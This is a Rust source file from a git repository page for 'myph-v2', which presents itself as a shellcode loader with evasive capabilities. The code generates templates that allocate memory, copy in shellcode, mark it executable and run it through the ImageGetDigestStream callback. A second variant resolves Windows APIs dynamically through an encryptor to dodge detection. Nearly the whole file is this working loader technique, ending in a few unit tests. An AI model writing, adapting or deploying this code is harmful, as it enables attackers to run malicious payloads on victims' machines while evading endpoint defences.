myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
image_get_digest_stream.rs (10179B)
1 pub fn image_get_digest_stream_import() -> String { 2 r#" 3 use std::ptr; 4 "# 5 .to_string() 6 } 7 8 pub fn image_get_digest_stream_const() -> String { 9 r#" 10 const MEM_COMMIT: u32 = 0x1000; 11 const MEM_RESERVE: u32 = 0x2000; 12 const PAGE_READWRITE: u32 = 0x04; 13 const PAGE_EXECUTE_READ: u32 = 0x20; 14 15 const GENERIC_READ: u32 = 0x80000000; 16 const FILE_SHARE_READ: u32 = 0x00000001; 17 const OPEN_EXISTING: u32 = 0x00000003; 18 const FILE_ATTRIBUTE_NORMAL: u32 = 0x00000080; 19 const CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO: u32 = 0x00000004; 20 21 #[link(name = "imagehlp")] 22 extern "system" { 23 fn ImageGetDigestStream( 24 file_handle: *mut std::ffi::c_void, 25 digest_level: u32, 26 digest_function: *const std::ffi::c_void, 27 digest_handle: *mut *mut std::ffi::c_void, 28 ) -> i32; 29 } 30 31 #[link(name = "kernel32")] 32 extern "system" { 33 fn CreateFileW( 34 file_name: *const u16, 35 desired_access: u32, 36 share_mode: u32, 37 security_attributes: *const std::ffi::c_void, 38 creation_disposition: u32, 39 flags_and_attributes: u32, 40 template_file: *mut std::ffi::c_void, 41 ) -> *mut std::ffi::c_void; 42 43 fn CloseHandle(handle: *mut std::ffi::c_void) -> i32; 44 } 45 46 #[link(name = "ntdll")] 47 extern "system" { 48 fn RtlCopyMemory( 49 destination: *mut std::ffi::c_void, 50 source: *const std::ffi::c_void, 51 length: usize, 52 ); 53 } 54 "# 55 .to_string() 56 } 57 58 #[allow(dead_code)] 59 pub fn image_get_digest_stream_init() -> String { 60 "".to_string() 61 } 62 63 pub fn image_get_digest_stream_process() -> String { 64 r#" 65 unsafe { 66 let addr = VirtualAlloc( 67 ptr::null_mut(), 68 shellcode.len(), 69 MEM_COMMIT | MEM_RESERVE, 70 PAGE_READWRITE, 71 ); 72 73 if addr.is_null() { 74 panic!("failed"); 75 } 76 77 RtlCopyMemory( 78 addr, 79 shellcode.as_ptr() as *const std::ffi::c_void, 80 shellcode.len(), 81 ); 82 83 let mut old_protect: u32 = 0; 84 let protect_result = VirtualProtect( 85 addr, 86 shellcode.len(), 87 PAGE_EXECUTE_READ, 88 &mut old_protect as *mut u32, 89 ); 90 91 if protect_result == 0 { 92 panic!("failed"); 93 } 94 95 let ntdll_path: Vec<u16> = "C:\\Windows\\System32\\ntdll.dll" 96 .encode_utf16() 97 .chain(std::iter::once(0)) 98 .collect(); 99 100 let h_img = CreateFileW( 101 ntdll_path.as_ptr(), 102 GENERIC_READ, 103 FILE_SHARE_READ, 104 ptr::null(), 105 OPEN_EXISTING, 106 FILE_ATTRIBUTE_NORMAL, 107 ptr::null_mut(), 108 ); 109 110 if h_img.is_null() || h_img as isize == -1 { 111 panic!("failed"); 112 } 113 114 let mut dummy: *mut std::ffi::c_void = ptr::null_mut(); 115 let result = ImageGetDigestStream( 116 h_img, 117 CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, 118 addr, 119 &mut dummy as *mut *mut std::ffi::c_void, 120 ); 121 122 if !dummy.is_null() { 123 CloseHandle(dummy); 124 } 125 126 CloseHandle(h_img); 127 128 if result == 0 { 129 panic!("failed"); 130 } 131 } 132 "# 133 .to_string() 134 } 135 136 fn generate_image_get_digest_stream_template(_target_process: &str, function_name: &str) -> String { 137 super::common::TechniqueTemplateBuilder::new() 138 .with_import(image_get_digest_stream_import()) 139 .with_const(image_get_digest_stream_const()) 140 .with_init(image_get_digest_stream_init()) 141 .with_process(image_get_digest_stream_process()) 142 .build(function_name) 143 } 144 145 pub fn generate_image_get_digest_stream_code(_target_process: &str, function_name: &str) -> String { 146 generate_image_get_digest_stream_template(_target_process, function_name) 147 } 148 149 fn image_get_digest_stream_process_with_dynamic_resolver( 150 encryptor: &dyn crate::encryption::Encryptor, 151 ) -> Result<String, String> { 152 use super::dynamic_common::*; 153 154 let virtual_alloc = virtual_alloc_resolver(encryptor)?; 155 let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?; 156 let virtual_protect = virtual_protect_resolver(encryptor)?; 157 let create_file_w = create_file_w_resolver(encryptor)?; 158 let close_handle = close_handle_resolver(encryptor)?; 159 let image_get_digest_stream = image_get_digest_stream_resolver(encryptor)?; 160 161 Ok(format!( 162 r#" 163 unsafe {{ 164 {virtual_alloc_resolver} 165 {virtual_alloc_cast} 166 167 let addr = virtual_alloc( 168 ptr::null_mut(), 169 shellcode.len(), 170 MEM_COMMIT | MEM_RESERVE, 171 PAGE_READWRITE, 172 ); 173 174 if addr.is_null() {{ 175 panic!("failed"); 176 }} 177 178 {rtl_copy_memory_resolver} 179 {rtl_copy_memory_cast} 180 181 rtl_copy_memory( 182 addr, 183 shellcode.as_ptr() as *const std::ffi::c_void, 184 shellcode.len(), 185 ); 186 187 {virtual_protect_resolver} 188 {virtual_protect_cast} 189 190 let mut old_protect: u32 = 0; 191 let protect_result = virtual_protect( 192 addr, 193 shellcode.len(), 194 PAGE_EXECUTE_READ, 195 &mut old_protect as *mut u32, 196 ); 197 198 if protect_result == 0 {{ 199 panic!("failed"); 200 }} 201 202 let ntdll_path: Vec<u16> = "C:\\Windows\\System32\\ntdll.dll" 203 .encode_utf16() 204 .chain(std::iter::once(0)) 205 .collect(); 206 207 {create_file_w_resolver} 208 {create_file_w_cast} 209 210 let h_img = create_file_w( 211 ntdll_path.as_ptr(), 212 GENERIC_READ, 213 FILE_SHARE_READ, 214 ptr::null(), 215 OPEN_EXISTING, 216 FILE_ATTRIBUTE_NORMAL, 217 ptr::null_mut(), 218 ); 219 220 if h_img.is_null() || h_img as isize == -1 {{ 221 panic!("failed"); 222 }} 223 224 let mut dummy: *mut std::ffi::c_void = ptr::null_mut(); 225 226 {image_get_digest_stream_resolver} 227 {image_get_digest_stream_cast} 228 229 let result = image_get_digest_stream( 230 h_img, 231 CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, 232 addr, 233 &mut dummy as *mut *mut std::ffi::c_void, 234 ); 235 236 {close_handle_resolver} 237 {close_handle_cast} 238 239 if !dummy.is_null() {{ 240 close_handle(dummy); 241 }} 242 243 close_handle(h_img); 244 245 if result == 0 {{ 246 panic!("failed"); 247 }} 248 }} 249 "#, 250 virtual_alloc_resolver = virtual_alloc.resolver_code, 251 virtual_alloc_cast = virtual_alloc.cast_code, 252 rtl_copy_memory_resolver = rtl_copy_memory.resolver_code, 253 rtl_copy_memory_cast = rtl_copy_memory.cast_code, 254 virtual_protect_resolver = virtual_protect.resolver_code, 255 virtual_protect_cast = virtual_protect.cast_code, 256 create_file_w_resolver = create_file_w.resolver_code, 257 create_file_w_cast = create_file_w.cast_code, 258 close_handle_resolver = close_handle.resolver_code, 259 close_handle_cast = close_handle.cast_code, 260 image_get_digest_stream_resolver = image_get_digest_stream.resolver_code, 261 image_get_digest_stream_cast = image_get_digest_stream.cast_code, 262 )) 263 } 264 265 fn generate_image_get_digest_stream_template_with_dynamic_resolver( 266 function_name: &str, 267 _encryption_type: &str, 268 encryptor: &dyn crate::encryption::Encryptor, 269 ) -> Result<String, String> { 270 let process_code = image_get_digest_stream_process_with_dynamic_resolver(encryptor)?; 271 272 Ok(super::common::TechniqueTemplateBuilder::new() 273 .with_import(image_get_digest_stream_import()) 274 .with_const(image_get_digest_stream_const()) 275 .with_init(image_get_digest_stream_init()) 276 .with_process(process_code) 277 .build(function_name)) 278 } 279 280 pub fn generate_image_get_digest_stream_code_with_dynamic_resolver( 281 function_name: &str, 282 encryption_type: &str, 283 encryptor: &dyn crate::encryption::Encryptor, 284 ) -> String { 285 generate_image_get_digest_stream_template_with_dynamic_resolver( 286 function_name, 287 encryption_type, 288 encryptor, 289 ) 290 .unwrap_or_else(|err| { 291 panic!( 292 "Failed to generate ImageGetDigestStream code with dynamic resolver (encryption: {}): {}", 293 encryption_type, err 294 ) 295 }) 296 } 297 298 pub struct ImageGetDigestStreamGenerator; 299 300 impl super::trait_generator::TechniqueGenerator for ImageGetDigestStreamGenerator { 301 fn generate_code(&self, _process: &str, function_name: &str) -> String { 302 generate_image_get_digest_stream_code(_process, function_name) 303 } 304 305 fn generate_code_with_dynamic_resolver( 306 &self, 307 _process: &str, 308 function_name: &str, 309 encryption_type: &str, 310 encryptor: &dyn crate::encryption::Encryptor, 311 ) -> String { 312 generate_image_get_digest_stream_code_with_dynamic_resolver( 313 function_name, 314 encryption_type, 315 encryptor, 316 ) 317 } 318 319 fn requires_process(&self) -> bool { 320 false 321 } 322 323 fn name(&self) -> &'static str { 324 "ImageGetDigestStream" 325 } 326 } 327 328 #[cfg(test)] 329 mod tests { 330 use super::*; 331 332 #[test] 333 fn test_generate_image_get_digest_stream_template_contains_all_parts() { 334 let template = generate_image_get_digest_stream_template("notepad.exe", "MyFunction"); 335 assert!(template.contains("use std::ptr")); 336 assert!(template.contains("MEM_COMMIT")); 337 assert!(template.contains("PAGE_READWRITE")); 338 assert!(template.contains("PAGE_EXECUTE_READ")); 339 assert!(template.contains("fn MyFunction")); 340 assert!(template.contains("VirtualAlloc")); 341 assert!(template.contains("VirtualProtect")); 342 assert!(template.contains("ImageGetDigestStream")); 343 } 344 345 #[test] 346 fn test_generate_image_get_digest_stream_code() { 347 let code = generate_image_get_digest_stream_code("notepad.exe", "MyRandomFunc"); 348 assert!(code.contains("fn MyRandomFunc")); 349 } 350 351 #[test] 352 fn test_image_get_digest_stream_does_not_use_process_param() { 353 let code = generate_image_get_digest_stream_code("notepad.exe", "TestFunc"); 354 assert!(!code.contains("notepad.exe")); 355 } 356 }